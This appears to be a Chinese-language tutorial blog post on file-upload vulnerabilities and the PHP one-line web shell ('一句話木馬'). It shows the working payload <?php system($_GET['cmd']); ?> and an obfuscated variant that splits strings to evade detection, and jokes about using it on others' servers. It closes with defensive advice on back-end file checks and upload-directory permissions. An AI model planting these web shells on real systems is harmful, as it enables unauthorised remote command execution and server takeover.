倒數第二篇文章了,來介紹一句話木馬好了。
一句話木馬會出現在有提供檔案上傳的網頁,透過檔案上傳的漏洞將惡意網頁程式上傳到目標伺服器。再對該程式進行呼叫,就可以把對方伺服器當自家廚房了。
我們用 Day 28 的網頁上傳程式來示範。
首先要確認受害的後端程式應該是哪支。在 form 中的 action 可以看出後端接收的程式。
有的程式的接收程式會先經過 JS 再送 PHP 所以還是要看每個網頁狀況而定。
這裡補充一點資安上的經驗
一般傳送資料會透過 Post 方法送出,因為 Post 方法不容易自行生成,但是可以使用類似 Postman 這類可以自訂送出資料的軟體做出。不但能生成 Post 內容,還可以繞過前端檢查。
所以後端的輸入檢查是必要的。
了解接收的內容後,我們來裝後門吧。因為我們沒有設定前端的檢查,所以直接使用網頁介面直接送出後門程式,後門長這樣
<?php system($_GET['cmd']); ?>
因為是一句話木馬,當然只要一句話囉(ノ>ω<)ノ
這個程式很簡單,就是透過 PHP 的 system Function 執行 Shell 指令。並使用 Get 方法接收 Shell 指令。
這樣就完成上傳囉,可以試著去找檔案放的位置,然後去別人伺服器玩囉(ノ>ω<)ノ
因為我們知道檔案會放在 update 資料夾中,所以可以直接從網頁中呼叫後門。
像這樣,等於直接拿到電腦的控制權了。要下什麼指令,只要下在網址後面就可以了。
這裡整理一下可能會發生的問題
<?php ('sy'.'stem')($_GET['c'.'m'.'d']); ?>
這個漏洞看起來非常可怕,但是也是很容易被阻擋。上面這個範例是為了示範需要,完全沒有對檔案進行任何檢驗。只要調整上傳的檔案權限,或是在後端檢查檔案的格式,就可以避免這個問題。
不過現在的攻擊大部分都是複合型的漏洞組合,像是把 PHP 塞在圖檔後面繞過檔案檢查,在利用其他漏洞將 PHP 檔案分離出來,所以我認為最好的防禦方法還是把上傳位置權限設定好,比較能從根本解決問題。不過,因為沒也實戰經驗,所以先下這樣的結論,不一定正確,還請有實務經驗的先進指教。d(d'∀')